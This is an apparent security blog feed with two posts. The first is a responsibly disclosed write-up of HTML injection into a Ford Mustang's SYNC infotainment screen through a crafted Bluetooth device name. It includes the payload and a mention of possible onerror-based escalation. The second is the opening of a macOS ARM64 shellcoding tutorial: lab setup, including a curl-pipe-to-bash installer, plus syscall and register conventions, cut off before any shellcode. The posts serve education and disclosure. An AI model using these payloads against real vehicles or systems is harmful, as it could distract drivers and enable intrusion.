<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://zeyadazima.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://zeyadazima.com/" rel="alternate" type="text/html" /><updated>2026-09-28T02:25:41+00:00</updated><id>https://zeyadazima.com/feed.xml</id><title type="html">Zeyad Azima</title><subtitle>Playing Around The Core of the 7 Layers to build the 0day Empire.</subtitle><author><name>Zeyad Azima</name></author><entry><title type="html">Ford Mustang Shelby GT500 Code Injection</title><link href="https://zeyadazima.com/general/ford_mustang_code_injection/" rel="alternate" type="text/html" title="Ford Mustang Shelby GT500 Code Injection" /><published>2026-09-27T00:00:00+00:00</published><updated>2026-09-27T00:00:00+00:00</updated><id>https://zeyadazima.com/general/ford_mustang_code_injection</id><content type="html" xml:base="https://zeyadazima.com/general/ford_mustang_code_injection/"><![CDATA[<h1 id="introduction">Introduction</h1>

<p>Hello again! This one is from a completely different battlefield: <strong>car hacking</strong>. Modern cars are rolling computers — the infotainment unit in front of the driver is a full computer running its own <code class="language-plaintext highlighter-rouge">OS</code>, rendering its own <code class="language-plaintext highlighter-rouge">UI</code>, And talking to the outside world over <code class="language-plaintext highlighter-rouge">Bluetooth</code>, <code class="language-plaintext highlighter-rouge">Wi-Fi</code> and <code class="language-plaintext highlighter-rouge">USB</code>. And just like any other computer, If it renders attacker-controlled input without sanitizing it… it breaks.</p>

<p>This is a vulnerability I found in the <strong>Ford Mustang Shelby GT500 (V8)</strong> infotainment system (<code class="language-plaintext highlighter-rouge">Ford SYNC</code>): the <strong>Bluetooth device name</strong> of any phone trying to pair is rendered inside the <code class="language-plaintext highlighter-rouge">SYNC</code> pairing dialog <strong>without sanitization</strong> — which means an attacker can inject <code class="language-plaintext highlighter-rouge">HTML</code> into the car’s dashboard screen, Just by renaming their phone.</p>

<h1 id="the-story">The Story</h1>

<p>It started the way most of these finds start — sitting in a rented <code class="language-plaintext highlighter-rouge">Ford Mustang Shelby GT500</code>, Bored, Poking at things. The <code class="language-plaintext highlighter-rouge">SYNC</code> unit was waiting for a <code class="language-plaintext highlighter-rouge">Bluetooth</code> device to pair, And my phone was sitting right there with its <code class="language-plaintext highlighter-rouge">Bluetooth</code> settings open. One thought crossed my mind: <strong>the pairing screen displays the phone’s device name on the car’s screen. And car screens these days are not drawn with pixels — They are drawn with <code class="language-plaintext highlighter-rouge">HTML</code>.</strong></p>

<p>Modern infotainment units (and <code class="language-plaintext highlighter-rouge">Ford SYNC</code> is no exception) render their interfaces using web technologies. Which means every string that touches that screen — including the <code class="language-plaintext highlighter-rouge">Bluetooth</code> device name of the phone you pair — is very likely being interpolated into some <code class="language-plaintext highlighter-rouge">HTML</code> template somewhere. And if nobody sanitized that string…</p>

<p>So I opened my phone’s <code class="language-plaintext highlighter-rouge">Bluetooth</code> settings, Renamed my device, And watched the car screen. The payload was simple — my device name (<code class="language-plaintext highlighter-rouge">azima</code>) wrapped with an attribute-breakout and a heading tag:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>"&gt;&lt;h1&gt;azima&lt;/h1&gt;
</code></pre></div></div>

<p>Breaking it down piece by piece:</p>

<table>
  <thead>
    <tr>
      <th>Fragment</th>
      <th>Purpose</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">"</code></td>
      <td>Close the <code class="language-plaintext highlighter-rouge">attribute="..."</code> the device name is interpolated into</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">&gt;</code></td>
      <td>Close the <code class="language-plaintext highlighter-rouge">HTML</code> tag the attribute lives in</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">&lt;h1&gt;</code></td>
      <td>Inject a level-1 heading element</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">azima</code></td>
      <td>The rendered text — my handle, Now a heading on the car’s screen</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">&lt;/h1&gt;</code></td>
      <td>Close the injected heading</td>
    </tr>
  </tbody>
</table>

<h1 id="the-vulnerability">The Vulnerability</h1>

<p>Now the car side. On the <code class="language-plaintext highlighter-rouge">SYNC</code> unit: <strong>Phone</strong> → <strong>Bluetooth Devices</strong> → <strong>Select a Device to Pair</strong> → the discovery list picks up the phone. And look at what the device list shows — the injected fragment <code class="language-plaintext highlighter-rouge">"&gt;</code> is already leaking onto the screen as raw text where the clean device name should be:</p>

<p><img width="1600" height="900" alt="image" src="https://github.com/user-attachments/assets/848e8dee-da8b-4e64-8864-ff660eca215c" /></p>

<p>Selecting the device starts the pairing. And here is the first confirmation — the “Waiting for” dialog renders the <strong>raw device name as text</strong>: <code class="language-plaintext highlighter-rouge">"↳&lt;h1&gt;azima&lt;/h1&gt;</code> — The tag characters visible, Sitting in the dialog as-is:</p>

<p><img width="1600" height="900" alt="image" src="https://github.com/user-attachments/assets/b3afcc50-38d6-47e3-b762-5f1cbeb2c857" /></p>

<p>But the <code class="language-plaintext highlighter-rouge">PIN</code> confirmation dialog is where it gets interesting. Look very carefully at what the <code class="language-plaintext highlighter-rouge">SYNC</code> screen renders for the crafted device:</p>

<p><img width="1600" height="900" alt="image" src="https://github.com/user-attachments/assets/091e214b-d836-440a-87cf-8d1b4a9e9648" /></p>

<p>Compare it with a <strong>normal</strong> pairing (clean device name <code class="language-plaintext highlighter-rouge">azima</code>, No payload):</p>

<p>Side by side, The difference is the whole vulnerability:</p>

<table>
  <thead>
    <tr>
      <th> </th>
      <th>Normal (<code class="language-plaintext highlighter-rouge">azima</code>)</th>
      <th>Crafted (<code class="language-plaintext highlighter-rouge">"&gt;&lt;h1&gt;azima&lt;/h1&gt;</code>)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Device name rendering</td>
      <td>Plain text, Inline with the dialog text</td>
      <td><strong>Breakout fragment <code class="language-plaintext highlighter-rouge">"&gt;</code> rendered as raw text at the top</strong></td>
    </tr>
    <tr>
      <td>Injected text</td>
      <td>—</td>
      <td><strong><code class="language-plaintext highlighter-rouge">azima</code> rendered as a level-1 heading</strong> — Bigger font, Own line, Own styling</td>
    </tr>
    <tr>
      <td>Dialog layout</td>
      <td>Standard <code class="language-plaintext highlighter-rouge">SYNC</code> layout</td>
      <td>Layout shifted by the injected element</td>
    </tr>
  </tbody>
</table>

<p>That heading is not the car drawing my name in big letters out of politeness — <strong>that is a real <code class="language-plaintext highlighter-rouge">&lt;h1&gt;</code> <code class="language-plaintext highlighter-rouge">HTML</code> element, Parsed and rendered by the <code class="language-plaintext highlighter-rouge">SYNC</code> UI.</strong> The <code class="language-plaintext highlighter-rouge">"&gt;</code> at the top of the dialog is the broken-out attribute closure — The exact bytes of my payload, Interpreted as markup.</p>

<h2 id="so-what-happened-under-the-hood">So What Happened Under the Hood</h2>

<p>The <code class="language-plaintext highlighter-rouge">SYNC</code> pairing dialog builds its screen from an <code class="language-plaintext highlighter-rouge">HTML</code> template, Interpolating the <code class="language-plaintext highlighter-rouge">Bluetooth</code> device name into an attribute or text node:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">&lt;!-- simplified reconstruction of the pattern --&gt;</span>
<span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"device-name"</span> <span class="na">title=</span><span class="s">"azima"</span><span class="nt">&gt;</span>azima<span class="nt">&lt;/div&gt;</span>
</code></pre></div></div>

<p>With the crafted name, The interpolation becomes:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"device-name"</span> <span class="na">title=</span><span class="s">""</span><span class="nt">&gt;&lt;h1&gt;</span>azima<span class="nt">&lt;/h1&gt;</span>"&gt;azima<span class="nt">&lt;/div&gt;</span>
</code></pre></div></div>

<p>— The quote closes the attribute early, The <code class="language-plaintext highlighter-rouge">&lt;h1&gt;</code> opens a real element, And the parser renders attacker-controlled markup on the car’s dashboard. Textbook <code class="language-plaintext highlighter-rouge">HTML</code> injection — Except the injection point is a <code class="language-plaintext highlighter-rouge">Bluetooth</code> device name And the rendering target is the screen in front of the driver.</p>

<h2 id="impact">Impact</h2>

<p>As demonstrated: <strong>arbitrary <code class="language-plaintext highlighter-rouge">HTML</code> injection into the infotainment display</strong>, Reachable by any <code class="language-plaintext highlighter-rouge">Bluetooth</code>-range device with a renameable name — No pairing required to reach the discovery list rendering, And the payload survives into the pairing flow. Where that goes:</p>

<ul>
  <li><strong>UI spoofing</strong> — attacker-controlled text and formatting rendered on the dashboard: fake dialogs, Fake warnings, Fake messages to the driver. A driver looking at a big injected heading is a driver looking away from the road.</li>
  <li><strong>Persistence</strong> — the paired-device record keeps the crafted name in the car’s storage: the injection re-renders every time the phone list or pairing state is displayed, On every connection.</li>
  <li><strong>Escalation path</strong> — <code class="language-plaintext highlighter-rouge">HTML</code> injection into a web-rendered <code class="language-plaintext highlighter-rouge">UI</code> is one step from script execution if the runtime evaluates injected <code class="language-plaintext highlighter-rouge">script</code> or event handlers (<code class="language-plaintext highlighter-rouge">&lt;img onerror=...&gt;</code>-style payloads). That escalation was <strong>not</strong> part of this test — And it is exactly why <code class="language-plaintext highlighter-rouge">Ford</code> rated the report <strong>Informative</strong>: no <code class="language-plaintext highlighter-rouge">JS</code> execution demonstrated means no code-execution impact. But the injection primitive it stands on is demonstrated here.</li>
</ul>

<h1 id="reporting">Reporting</h1>

<p>Reported to <code class="language-plaintext highlighter-rouge">Ford</code> through their vulnerability reporting channel, With the full reproduction: the crafted <code class="language-plaintext highlighter-rouge">Bluetooth</code> device name, The pairing steps, And the evidence screenshots from this post.</p>

<p><code class="language-plaintext highlighter-rouge">Ford</code>’s verdict: accepted as <strong>Informative</strong> — The injection renders attacker-controlled <code class="language-plaintext highlighter-rouge">HTML</code> on the infotainment screen, But no <code class="language-plaintext highlighter-rouge">JavaScript</code> execution was demonstrated, So it stayed below the bar for a code-execution issue. No <code class="language-plaintext highlighter-rouge">CVE</code> was assigned for this finding.</p>

<p>And the natural next step — pulling the <code class="language-plaintext highlighter-rouge">head unit</code>’s flash, Reversing the <code class="language-plaintext highlighter-rouge">SYNC</code> web runtime, Mapping the renderer to turn the <code class="language-plaintext highlighter-rouge">HTML</code> injection into script execution — was off the table: <strong>the car was a rental, Not mine to disassemble</strong>. The <code class="language-plaintext highlighter-rouge">head unit</code> stays in the car, And the deeper research stays open for whoever gets their hands on one.</p>

<h1 id="conclusion">Conclusion</h1>

<p>One renamed <code class="language-plaintext highlighter-rouge">Bluetooth</code> device, One <code class="language-plaintext highlighter-rouge">HTML</code> payload, And the <code class="language-plaintext highlighter-rouge">Ford Mustang Shelby GT500</code>’s dashboard renders attacker-controlled markup on the driver’s screen. The lesson is the same one this whole series keeps repeating — <strong>every string that reaches a renderer is an injection point</strong>, Whether it comes from a web form, A <code class="language-plaintext highlighter-rouge">syscall</code>, Or the name of a phone passing by on <code class="language-plaintext highlighter-rouge">Bluetooth</code>. Modern car <code class="language-plaintext highlighter-rouge">UI</code>s are web <code class="language-plaintext highlighter-rouge">UI</code>s, And web <code class="language-plaintext highlighter-rouge">UI</code>s that interpolate unsanitized input get popped — Even at 70 miles per hour. The next steps (script execution, Persistence across reboots, Lateral movement into the ` head unit<code class="language-plaintext highlighter-rouge">'s </code>OS`) are the natural follow-ups — But the injection primitive demonstrated here is where every one of them starts.</p>

<h2 id="help-">Help ?</h2>

<p>If you got any questions or need help, You can contact me:</p>

<ul>
  <li><a href="https://www.linkedin.com/in/zer0verflow/">Linkedin</a></li>
  <li><a href="https://x.com/AzimaZeyad">Twitter/X</a></li>
  <li>Email: <a href="mailto:contact@zeyadazima.com">contact@zeyadazima.com</a></li>
  <li>Discord: <code class="language-plaintext highlighter-rouge">.killer_1337</code> including <code class="language-plaintext highlighter-rouge">.</code></li>
</ul>

<p><strong>Tags:</strong> <a href="/tags/#general">General</a></p>

<p><strong>Categories:</strong> <a href="/categories/#general">General</a></p>]]></content><author><name>Zeyad Azima</name></author><category term="General" /><category term="General" /><category term="pentest" /><category term="pentesting" /><category term="car" /><category term="cars" /><category term="ford" /><category term="mustang" /><category term="CAN" /><category term="Car Hacking" /><summary type="html"><![CDATA[Ford Mustang Shelby GT500 HTML Injection in the SYNC Infotainment via Bluetooth Device Name]]></summary></entry><entry><title type="html">macOS: Shellcoding on Apples (ARM64)</title><link href="https://zeyadazima.com/macos/shellcoding_on_macos_arm/" rel="alternate" type="text/html" title="macOS: Shellcoding on Apples (ARM64)" /><published>2026-09-26T00:00:00+00:00</published><updated>2026-09-26T00:00:00+00:00</updated><id>https://zeyadazima.com/macos/shellcoding_on_macos_arm</id><content type="html" xml:base="https://zeyadazima.com/macos/shellcoding_on_macos_arm/"><![CDATA[<h1 id="introduction">Introduction</h1>

<p>Hello again, in our previous blogpost we explored shellcoding on <code class="language-plaintext highlighter-rouge">macOS</code> for the <code class="language-plaintext highlighter-rouge">x86_64</code> architecture. But since Apple has been shipping <code class="language-plaintext highlighter-rouge">Apple Silicon</code> (<code class="language-plaintext highlighter-rouge">M1</code>/<code class="language-plaintext highlighter-rouge">M2</code>/<code class="language-plaintext highlighter-rouge">M3</code>/<code class="language-plaintext highlighter-rouge">M4</code>) machines with <code class="language-plaintext highlighter-rouge">ARM64</code> (<code class="language-plaintext highlighter-rouge">AArch64</code>) as the first-class citizen — and <code class="language-plaintext highlighter-rouge">x86_64</code> on Apple hardware now runs only through the <code class="language-plaintext highlighter-rouge">Rosetta 2</code> translation layer — it only makes sense to cover shellcoding on the <code class="language-plaintext highlighter-rouge">native</code> architecture for modern <code class="language-plaintext highlighter-rouge">macOS</code> systems. Before diving in, you’ll need at least a basic understanding of <code class="language-plaintext highlighter-rouge">ARM64</code> assembly — this isn’t an assembly tutorial, so if you’re unfamiliar with the fundamentals, take some time to learn them first and return when you’re ready for the challenge. If you read our <code class="language-plaintext highlighter-rouge">x86_64</code> blogpost, You will find this one very familiar, Cause we will follow the same practical workflow: start by writing code in <code class="language-plaintext highlighter-rouge">C</code>, identify the necessary system calls, and then translate everything into assembly. This approach leverages the wealth of existing <code class="language-plaintext highlighter-rouge">C</code> documentation and resources, making the process significantly more manageable. You’ll find countless examples of how to build network clients, manipulate processes, or execute commands in <code class="language-plaintext highlighter-rouge">C</code>, but you’d be hard-pressed to find someone talking about implementing these same tasks purely in <code class="language-plaintext highlighter-rouge">ARM64</code> assembly. Let’s start with our Blogpost.</p>

<blockquote>
  <p>You can find all the code on my github: https://github.com/Zeyad-Azima/macOShellcoding</p>
</blockquote>

<h1 id="lab-setup">Lab Setup</h1>

<p>Let’s Setup our Lab and the required tools, Let’s list all the other tools we need.</p>

<ul>
  <li>Homebrew</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/bash <span class="nt">-c</span> <span class="s2">"</span><span class="si">$(</span>curl <span class="nt">-fsSL</span> https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh<span class="si">)</span><span class="s2">"</span>
</code></pre></div></div>

<ul>
  <li>Xcode:</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>We can download it from `AppStore`.
or: https://xcodereleases.com
</code></pre></div></div>

<ul>
  <li>Xcode Command Line Tools (CLT)</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>xcode-select <span class="nt">--install</span>
</code></pre></div></div>

<p>That’s all we need this time. Cause as we will see, <code class="language-plaintext highlighter-rouge">nasm</code> is out and <code class="language-plaintext highlighter-rouge">clang</code> is in.</p>

<blockquote>
  <p>Note: In our <code class="language-plaintext highlighter-rouge">x86_64</code> blogpost we used <code class="language-plaintext highlighter-rouge">nasm -f macho64</code> to assemble our code, But <code class="language-plaintext highlighter-rouge">nasm</code> doesn’t support the <code class="language-plaintext highlighter-rouge">ARM64</code> architecture at all. Instead, we will write our code in Apple’s <code class="language-plaintext highlighter-rouge">GNU</code>-style assembly syntax (<code class="language-plaintext highlighter-rouge">.s</code> files) and let <code class="language-plaintext highlighter-rouge">clang</code> do the assembling for us, Since <code class="language-plaintext highlighter-rouge">clang</code> is Apple’s native assembler front-end for <code class="language-plaintext highlighter-rouge">arm64</code>. Different dialect, same discipline.</p>
</blockquote>

<p>Before we go on straight to shellcoding, We need to understand some FUNDAMENTALS first we would be using to be able to write our shellcodes. As we know the macos kernel (<code class="language-plaintext highlighter-rouge">XNU</code>) is a hybrid kernel which contains also <code class="language-plaintext highlighter-rouge">BSD</code>. We need to download the <code class="language-plaintext highlighter-rouge">XNU</code> source code. Cause we will use it for references in creating our shellcodes and understanding <code class="language-plaintext highlighter-rouge">syscalls</code> on <code class="language-plaintext highlighter-rouge">macOS</code>. We can download it from <a href="https://opensource.apple.com/releases/">here</a>.</p>

<p>Now, We need to download the source code version that matches the macOS you writing the shellcode for. I am on <code class="language-plaintext highlighter-rouge">macOS Sequoia</code> and the version is <code class="language-plaintext highlighter-rouge">macOS 15.2</code>. You can use <code class="language-plaintext highlighter-rouge">sw_vers</code> command to check it.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~ % sw_vers
ProductName:		macOS
ProductVersion:		15.2
BuildVersion:		24C101
</code></pre></div></div>

<p><img src="https://github.com/user-attachments/assets/7b194e38-5dbc-4f67-bd69-fa5b4510f214" alt="image" /></p>

<p>Now, Let’s download the <code class="language-plaintext highlighter-rouge">XNU</code> VERSION FOR it — same as last time, In our case we need <code class="language-plaintext highlighter-rouge">xnu-11215.61.5</code> which is the source version shipping with <code class="language-plaintext highlighter-rouge">macOS 15.2</code>.</p>

<p><img src="https://github.com/user-attachments/assets/b7798f9c-1077-4967-927d-0132ad2d3048" alt="image" /></p>

<h1 id="xnu-syscall-classes-on-arm64">XNU Syscall Classes on ARM64</h1>

<p>Now, Let’s open it with <code class="language-plaintext highlighter-rouge">VSCode</code> or your favorite <code class="language-plaintext highlighter-rouge">IDE/CodeEditor</code>.</p>

<p><img src="https://github.com/user-attachments/assets/4fb70323-3964-4270-9897-dcaf9c9aa4e9" alt="image" /></p>

<p>Last time on <code class="language-plaintext highlighter-rouge">x86_64</code> we went to <code class="language-plaintext highlighter-rouge">osfmk/mach/i386/syscall_sw.h</code>, So naturally we open <code class="language-plaintext highlighter-rouge">osfmk/mach/arm/syscall_sw.h</code> expecting the same class table… And it is <strong>not there</strong>. Surprise number one of the <code class="language-plaintext highlighter-rouge">ARM64</code> world: the <code class="language-plaintext highlighter-rouge">ARM64</code> file doesn’t carry the <code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_*</code> defines at all — The class table lives <strong>only</strong> in the <code class="language-plaintext highlighter-rouge">i386</code> file (<code class="language-plaintext highlighter-rouge">osfmk/mach/i386/syscall_sw.h</code>), And even <code class="language-plaintext highlighter-rouge">libsyscall</code>’s own code points there (<code class="language-plaintext highlighter-rouge">/* see mach/i386/syscall_sw.h */</code>).</p>

<p>What the <code class="language-plaintext highlighter-rouge">ARM64</code> file <em>does</em> contain is even more interesting — the kernel-side trap macro that shows exactly how <code class="language-plaintext highlighter-rouge">macOS</code> receives our syscalls:</p>

<pre><code class="language-C">#elif defined(__arm64__)

#include &lt;mach/machine/vm_param.h&gt;

#define kernel_trap(trap_name, trap_number, num_args) \
.globl _##trap_name                                           %% \
.text                                                         %% \
.align  2                                                     %% \
_##trap_name:                                                 %% \
    mov x16, #(trap_number)                                   %% \
    svc #SWI_SYSCALL                                          %% \
    ret
</code></pre>

<p><img width="805" height="965" alt="image" src="https://github.com/user-attachments/assets/eced8ed7-2de7-424f-b528-b952418f1284" /></p>

<p>Read it with me, Cause this is the kernel telling us its own convention, Straight from the source: <strong>the trap number goes in <code class="language-plaintext highlighter-rouge">X16</code>, And the syscall is issued with <code class="language-plaintext highlighter-rouge">svc #SWI_SYSCALL</code>.</strong> This is the kernel-side proof of everything we did in the shellcodes below.</p>

<p>And where does <code class="language-plaintext highlighter-rouge">SWI_SYSCALL</code> come from? One more hop — <code class="language-plaintext highlighter-rouge">osfmk/mach/arm/vm_param.h</code>:</p>

<pre><code class="language-C">#define SWI_SYSCALL     0x80
</code></pre>

<p><strong><code class="language-plaintext highlighter-rouge">0x80</code></strong> — the canonical immediate we ring in every shellcode below, Straight from the source file. (On <code class="language-plaintext highlighter-rouge">Linux</code> <code class="language-plaintext highlighter-rouge">ARM64</code> you would use <code class="language-plaintext highlighter-rouge">svc #0</code> instead — Same instruction, different garden.)</p>

<p>So where is the class table? Back in the <code class="language-plaintext highlighter-rouge">i386</code> file — And the encoding convention carried over to <code class="language-plaintext highlighter-rouge">ARM64</code> through userland: the syscall <em>numbers</em> are still built as <code class="language-plaintext highlighter-rouge">(class &lt;&lt; 24) | syscall</code>, Which is why our old friend <code class="language-plaintext highlighter-rouge">execve</code> (syscall number <code class="language-plaintext highlighter-rouge">59</code> or <code class="language-plaintext highlighter-rouge">0x3B</code> in hex) from the <code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_UNIX</code> (class number <code class="language-plaintext highlighter-rouge">2</code>) is still passed as <code class="language-plaintext highlighter-rouge">0x200003B</code> when we make the syscall. The doors don’t move between floors just because the building was renovated — The kitchen just showed us its ticket scanner.</p>

<table>
  <thead>
    <tr>
      <th>Class</th>
      <th>Name</th>
      <th>Value</th>
      <th>Shifted Base (<code class="language-plaintext highlighter-rouge">&lt;&lt; 24</code>)</th>
      <th>Meaning</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0</code></td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_NONE</code></td>
      <td><code class="language-plaintext highlighter-rouge">0</code></td>
      <td><code class="language-plaintext highlighter-rouge">0x00000000</code></td>
      <td>Invalid</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1</code></td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_MACH</code></td>
      <td><code class="language-plaintext highlighter-rouge">1</code></td>
      <td><code class="language-plaintext highlighter-rouge">0x01000000</code></td>
      <td>Mach traps</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">2</code></td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_UNIX</code></td>
      <td><code class="language-plaintext highlighter-rouge">2</code></td>
      <td><code class="language-plaintext highlighter-rouge">0x02000000</code></td>
      <td><strong>BSD syscalls</strong></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">3</code></td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_MDEP</code></td>
      <td><code class="language-plaintext highlighter-rouge">3</code></td>
      <td><code class="language-plaintext highlighter-rouge">0x03000000</code></td>
      <td>Machine-dependent</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">4</code></td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_DIAG</code></td>
      <td><code class="language-plaintext highlighter-rouge">4</code></td>
      <td><code class="language-plaintext highlighter-rouge">0x04000000</code></td>
      <td>Diagnostics</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">5</code></td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_IPC</code></td>
      <td><code class="language-plaintext highlighter-rouge">5</code></td>
      <td><code class="language-plaintext highlighter-rouge">0x05000000</code></td>
      <td>Mach IPC (newer)</td>
    </tr>
  </tbody>
</table>

<blockquote>
  <p>BSD = 0x02 « 24 = 0x02000000 → 0x2000000</p>
</blockquote>

<p>Back to our <code class="language-plaintext highlighter-rouge">XNU</code> restaurant analogy from last time — you’re still dining in the same multi-level establishment, and the kitchen still routes your order based on the encoded ticket with the class shifted <code class="language-plaintext highlighter-rouge">24</code> bits left. The only thing that changed is <em>how</em> you summon the waiter: on <code class="language-plaintext highlighter-rouge">x86_64</code> you wave the <code class="language-plaintext highlighter-rouge">syscall</code> flag and show your ticket in <code class="language-plaintext highlighter-rouge">RAX</code>, while on <code class="language-plaintext highlighter-rouge">ARM64</code> you ring the <code class="language-plaintext highlighter-rouge">svc #0x80</code> bell and show the ticket in <code class="language-plaintext highlighter-rouge">X16</code>. Same ticket (<code class="language-plaintext highlighter-rouge">0x0200003B</code> for the <code class="language-plaintext highlighter-rouge">execve</code> tiramisu on the <code class="language-plaintext highlighter-rouge">BSD</code> floor), different bell. Bon appétit in the kernel!</p>

<blockquote>
  <p>Note: On <code class="language-plaintext highlighter-rouge">ARM64</code>, the syscall number goes in the <code class="language-plaintext highlighter-rouge">X16</code> register instead of <code class="language-plaintext highlighter-rouge">RAX</code>, and the syscall is issued using the <code class="language-plaintext highlighter-rouge">svc</code> instruction (<code class="language-plaintext highlighter-rouge">Supervisor Call</code>) instead of <code class="language-plaintext highlighter-rouge">syscall</code>. On <code class="language-plaintext highlighter-rouge">macOS</code> the <code class="language-plaintext highlighter-rouge">svc</code> immediate operand is <code class="language-plaintext highlighter-rouge">0x80</code> (<code class="language-plaintext highlighter-rouge">svc #0x80</code>) — on <code class="language-plaintext highlighter-rouge">Linux</code> ARM64 you would use <code class="language-plaintext highlighter-rouge">svc #0</code> instead. Same instruction, different garden.</p>
</blockquote>

<p>Here is a generic example of making a <code class="language-plaintext highlighter-rouge">write</code> syscall on <code class="language-plaintext highlighter-rouge">ARM64</code> macOS:</p>

<pre><code class="language-asm">; Example assembly code for ARM64 macOS system call
mov x16, #SYS_write     ; Load the syscall number for 'write' into X16
mov x0, #1              ; File descriptor 1 (stdout)
mov x1, buffer          ; Pointer to buffer to write from
mov x2, #buffer_size    ; Number of bytes to write
svc #0x80               ; Issue the system call instruction
</code></pre>

<h1 id="arm64-calling-conventions-and-registers">ARM64 Calling Conventions and Registers</h1>

<p>In the <strong>ARM64 System</strong> used by macOS (Apple Silicon), function arguments are passed via registers <code class="language-plaintext highlighter-rouge">X0</code> through <code class="language-plaintext highlighter-rouge">X7</code> in order: <code class="language-plaintext highlighter-rouge">X0</code> holds the 1st argument, <code class="language-plaintext highlighter-rouge">X1</code> the 2nd, <code class="language-plaintext highlighter-rouge">X2</code> the 3rd, and so on till <code class="language-plaintext highlighter-rouge">X7</code>. The return value is placed in <code class="language-plaintext highlighter-rouge">X0</code>, while <code class="language-plaintext highlighter-rouge">X8</code> is used as the indirect return value address for large structs. The syscall number itself goes in <code class="language-plaintext highlighter-rouge">X16</code> (the inter-procedural scratch register), <code class="language-plaintext highlighter-rouge">PC</code> points to the next instruction to execute, <code class="language-plaintext highlighter-rouge">SP</code> manages the stack (and must be <strong>16-byte aligned</strong> before any call), <code class="language-plaintext highlighter-rouge">X29</code> serves as the frame pointer, and <code class="language-plaintext highlighter-rouge">X30</code> is the link register which stores the return address. If a function requires more than eight arguments, additional arguments are passed on the stack.</p>

<h2 id="calling-conventions-table">Calling Conventions Table</h2>

<p>You can use this table as a reference.</p>

<table>
  <thead>
    <tr>
      <th>Register</th>
      <th>Usage</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">X0-X7</code></td>
      <td>Function arguments and return values</td>
      <td>Used to pass and return data from functions</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">X8</code></td>
      <td>Indirect return value address</td>
      <td>Often used for memory allocation routines</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">X9-X15</code></td>
      <td>Caller-saved temporary registers</td>
      <td>Can be changed by the called function, must be saved by the caller if needed</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">X16</code></td>
      <td>Inter-procedural scratch register; syscall number</td>
      <td>Used for passing system call numbers</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">X17</code></td>
      <td>Inter-procedural scratch register</td>
      <td>Temporary register, similar to <code class="language-plaintext highlighter-rouge">X16</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">X18</code></td>
      <td>Reserved on Apple platforms</td>
      <td>Should not be used in user programs</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">X19-X28</code></td>
      <td>Callee-saved registers</td>
      <td>Must be saved and restored by the called function if used</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">X29</code></td>
      <td>Frame pointer (FP)</td>
      <td>Points to the base of the current stack frame</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">X30</code></td>
      <td>Link register (LR)</td>
      <td>Stores the return address</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">SP</code></td>
      <td>Stack pointer</td>
      <td>Must be 16-byte aligned at function calls</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">PC</code></td>
      <td>Program counter</td>
      <td>Points to the next instruction to execute</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">XZR</code></td>
      <td>Zero register</td>
      <td>Always reads as zero and ignores writes</td>
    </tr>
  </tbody>
</table>

<p>The ARM64 architecture requires that the stack pointer (<code class="language-plaintext highlighter-rouge">SP</code>) is 16-byte aligned before making a function call, which is crucial for maintaining a reliable call stack and preventing alignment faults. When writing shellcode or functions in assembly, you need to preserve this alignment by adjusting the stack accordingly before function calls. And unlike <code class="language-plaintext highlighter-rouge">x86_64</code> where alignment issues sometimes forgave us, the <code class="language-plaintext highlighter-rouge">ARM64</code> Darwin kernel will happily throw alignment faults at you if you break this.</p>

<p>To illustrate how these registers are used in a syscall, In the Apple <code class="language-plaintext highlighter-rouge">.s</code> syntax we will use through this post:</p>

<pre><code class="language-asm">; Assume x0, x1, and x2 are already set with appropriate values
mov x16, syscall_number     ; Syscall number goes in X16
